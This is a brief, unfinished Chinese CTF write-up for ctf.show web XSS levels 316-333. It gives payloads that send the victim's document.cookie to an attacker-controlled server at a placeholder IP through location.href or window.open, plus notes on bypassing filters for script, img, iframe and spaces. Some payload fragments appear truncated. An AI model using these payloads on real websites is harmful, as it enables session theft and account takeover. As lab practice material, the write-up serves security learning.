ctf_show-web入门-XSS(316-333) 未完

web316

或者
>location.href='http://ip//'+document.cookie</script>

vps监听即可(HTTP别省略了)

web317

过滤了script

"window.open('http://IP/'+document.cookie)" autofocus>
window.open('http://IP/'+document.cookie)">

"window.open('http://IP/'+document.cookie)">

这些都可以

web318-326

过滤了img，iframe，空格，还有不知道什么，可payload同上